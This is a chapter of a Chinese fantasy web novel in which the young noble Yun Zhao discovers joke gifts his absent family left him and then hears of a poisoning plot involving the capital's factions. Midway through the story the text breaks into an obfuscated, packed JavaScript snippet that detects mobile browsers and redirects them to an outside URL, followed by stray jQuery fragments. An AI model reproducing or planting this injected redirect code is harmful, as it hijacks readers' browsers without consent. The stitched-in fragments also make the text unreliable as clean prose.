33.云郎闹京都(三十三)

作品:《他觉得所有人都有病

    云昭吃了一碟金丝蜜枣,还是没想明白,于是他选择放弃。精力旺盛且无人能压制的云昭,在府里逛了起来。


    “少爷!您这些天在宫里也累着了,要不回去躺一躺?或者小的去请个戏班子来给您唱戏?”


    小厮一见少爷盯着不远处的书房,立马挡在云昭面前说道。


    哦哦哦!小安子的心里有鬼呀!父亲肯定在池塘里放了东西!


    云昭眼珠子一转,拍了拍小安子的肩膀:“快看!那是什么!”


    小安子立即回头一看,结果只觉得脖子一痛,身子一软,失去了意思。


    明朝把小厮扛到连廊下,安顿好,鬼鬼祟祟地撬开了书房的大门。


    书房还是和往常一样,但是云昭就觉得似乎多了点什么。他连窗户都不敢开,就着窗外闯进来的几道光线摸索了起来。


    很快他就看到了。


    父亲的书桌上摆放着一本《庚金九转绝》。


    啥?这玩意儿怎么会在这?《庚金九转诀》是金系的顶级功法,而他的父亲名早就已经把这套功法修炼到了巅峰,《庚金九转诀》也早就被束之高阁了。


    云昭点点头,明白了,这玩意肯定是留给他的。


    云昭心有所动,将《庚金九转诀》翻到了最后一页,只见上头画了一个惟妙惟肖的云昭。


    而旁边正是云士存的批注,写这“逆子”贰字。


    这一招,正是复刻了云昭上一次的做法。


    “我去!老爹!你至于吗?我是干了啥天理不容之事吗?我可是京都城榜上有名的好儿子哎!哼!老爹,你一点也不了解我!”


    父亲的书房给他留了东西,那母亲呢?云昭忽然想起他的母亲也有几日不归家了。


    想到就做,云昭立马奔向母亲的药房,再次鬼鬼祟祟地开了药房的门。


    药房里还是一如往昔,到处是瓶瓶罐罐。但是这会,这堆罐罐里头,多了一个颜色奇特的陶罐。


    上面好像还有字。


    云昭凑近一看,其他的药罐上都写着“治肝毒”“治木毒”,而那个颜色奇特的陶罐上面着:致云昭。


    云昭大惊失色,母亲这是觉得他体内的毒性已经到了无法控制的程度?所以给他留了自我了断之药?


    云昭把盖子一揭开,一股甜腻的糖香夹杂着酸酸甜甜的味道扑面而来,让人不禁胃口大开,里头居然是盐渍梅子。


    少年郎忽然觉得眼睛酸酸的,他吸了吸鼻子,阿娘果然是天下最好的阿娘。


    从药房离开时,云昭怀里抱着一个陶罐。而他的下一个目标,正是小妹住的院子。


    家里另外三人齐刷刷地不见了,而且看着不打算不归家了,看来是计划好的了,不对,是约好了的。


    他倒要看看可爱的小妹给他留了什么玩意。


    “大少爷,您此刻前来……可是有要事?”


    “小姐给我留了什么?”云昭开门见山地问道。


    云铃的几个侍女,面面相觑,随后又忍不住捂嘴笑了起来。她们指了指小姐的书桌。


    云昭几步上前,一看,眼角开始抽搐。上面摆放的居然是一副还没有绣完的刺绣,图案却是“蚂蚁追着哥哥跑”。


    得,这是在笑话他呗。


    半晌之后,云昭左手拿着本《庚金九转诀》,右手提着个陶罐,而腰上,还系了一幅未完成的绣画,可怜兮兮的蹲在院子里。


    他的头顶是越发灿烂的朝阳。


    云昭一边啃着糖豆,一边可怜巴巴地道:“你们集体冷暴力我。一家子集体抛弃我了。哼!”


    而他的身后,是一只长达三米的食蚁兽,也正在咔嚓咔嚓地啃着糖豆,正是他花了三百金铢买回来的阿啃。


    “哎!阿啃!你说他们都去了哪了?”


    阿啃的回应是咔嚓咔嚓。


    “哎!我可是花了三百金铢把你买回来,你就这样对我?”


    “咔嚓咔嚓!”


    “老天不公啊!”云昭毫不在意形象,直接席地躺下,躺成了大字型。很有热度的阳光洒落在了他的身上。


    云昭喃喃自语着:“全家跑路不带我!哼!大不了我自己组队!”


    将一罐子盐渍梅子吃完之后,云昭拍了拍屁股,没事人似的溜回了房间。


    下午,他起来了,捂着半边脸,呲牙咧嘴的。


    “少爷哦,您这是梅子吃多了,倒牙了。”


    “我不……不信……本少爷……怎么会倒牙……”


    小安子一见少爷合不上嘴的样子,忍俊不禁,干脆给他寻来了药丸。


    云昭把药丸含下,这才觉得嘴里一片清凉,上下牙齿几乎无法触碰的酸感消失了不少。


    “我爹我娘回来了吗?小妹呢?”


    小厮摇摇头:“相爷和大统领未曾归来,小姐也没回来。”


    “哦!一家子四个,三人自行组队,抛下我一个。我果然是那小白菜呀,地里黄……”云昭还唱了起来。


    几个小厮面面相觑,不敢接话。


    一个时辰之后,云昭和赤燎碰面了。


    赤燎面色铁青,一副谁来惹我我、就把他头拧下来的架势。


    云昭一看,点点头道:“你爹也不见了?”


    赤燎冷哼了一声。


    云昭好哥俩一般拍了拍他的肩膀:“没事,我爹也不见了。”


    “他们……”赤燎咬牙切齿的,“真不是东西。”


    云昭赞同地点点头,赶紧喝了一碗羊肉汤,随后才道:“确实不是东西。”


    “我说的是陈四商行的人!还有那附近的商贩!”赤燎瞥了他一眼,牙齿咬得咯咯作响。


    云昭语塞,但他一点也不尴尬,又问:“怎么了?陈家商行的人不是跑路了吗?”


    “他们昨日就开始围着相府,要我赔他们飞禽走兽因为下七彩蛋而导致的损失!”


    “哈哈哈!”云昭捧腹大笑,他冲着赤燎挤眉弄眼,“要不,你把全京都城的七彩蛋都收集起来,再转手卖给胡人?要不,蚁族也行?”


    “老子不用买!老子又不是赔不起!”


    “行行行!你赤大少爷财大气粗!赔得起赔得起!”


    云昭话刚说完,二人的旁边就坐这了一个人,和他们同桌。


    “这位置有……”云昭话还没说完,就收住了。


    因为入座的人,正是苏流光。


    “两位大少爷,在下忙活了一天一夜,此时正是饥肠辘辘,可否赏口饭吃?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878063|175708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “嗯!给他上份大全套!”


    很快,大全套便来了,分别是酱羊肉、羊肉面、羊汤泡馍还有羊杂汤。


    苏流光也不客气,大快朵颐起来,将桌面上的东西都吃得干干净净之后,他才收了手。


    “你干什么去了?做贼去了?”


    苏流光苦笑着点点头:“和做贼差不多。”


    “也是,看你这贼眉鼠眼的样子,说不是咱也不信。”赤燎冷冷的开口。


    苏流光拱手讨饶。


    “哼!”赤燎转过脸,算是暂且放过这人。


    苏流光看了看四周,压低声音道:“陈氏父子中的毒查清了,不仅仅有云铜屑,还是笑春风。”


    “什么?”两个少年郎异口同声,面面相觑。


    苏流光看了云昭一眼,这才说道:“笑春风一直是青藤卫的秘药,中毒者,会大笑直至身亡。”


    云昭怔住了,青藤卫的大统领正是他娘,他娘这几日不回家是不是与这事有关?


    “但是……”苏流光转变了话头,“陈氏父子身亡的那一个晚上,牢役并未听到他们说话或者大笑。那就只能说明,醉春风被人改良了,和赤焰丹一样。”


    赤燎紧紧地盯着苏流光,没有说话。


    云昭脑子转得极快,他接上了话头:“最初死去的那个走商,牵扯上了兵部云铜屑,然后又扯出了陈氏父子;陈氏父子扯出了赤家及赤焰丹。现在他俩之死,又攀扯上了青藤卫和笑春风。”


    “对!京都城的几大势力,几乎全被牵扯进了这件事里头。”


    京都城最有名的除了皇上,剩下的自然是五位丞相,还有五大营。现在算起来其他势力还能独善其身,但谁知继续查下去又会发生什么事。


    甚至连正在抗击蚁族的其他大营,可能也无法幸免。


    对方的目的到底是什么?分裂五位丞相?挑起五系纷争?还是分化抗蚁先锋的五大营?


    如果只是前面两者,那还只是京都城内的矛盾。但如果涉及到后者,那就幕后之人就是为蚁族做事了。


    “还有呢?”赤燎忽然冷冷低道。


    苏流光愣了一下,随即苦笑着说:“观星台的一位星象师,昨夜也中了笑春风之毒。”


    “什么?”两个少年郎再次震惊。


    “无人知晓这位星象师是如何中毒的。要知道,整个观星台都备凿云卫把守着,而且这个星象师手上功夫并不弱。但今早凿云卫就发现这个星象师死在了观星台上。”


    “……”


    “……”


    两个少年郎沉默了。


    观星台,背后可是站着大祭司,甚至还与定国重器星轨棋盘有关。


    这……对方到底想要做啥?


    赤燎紧紧的盯着苏流光,冷声问道:“你到底是谁?为何会知晓如此多的事?”


    苏流光没有说话。


    云昭也一直也好奇,因为父亲和母亲并没有阻拦自己与苏流光打交道。只是叮嘱自己多长个心眼,别再让对方给坑了。


    所以说明苏流光这个家伙不是穷凶极恶之徒?


    但是云昭也很想知道,苏流光这家伙到底是什么来头。为何消息会如此灵通?甚至连观星台的消息都能打探得到。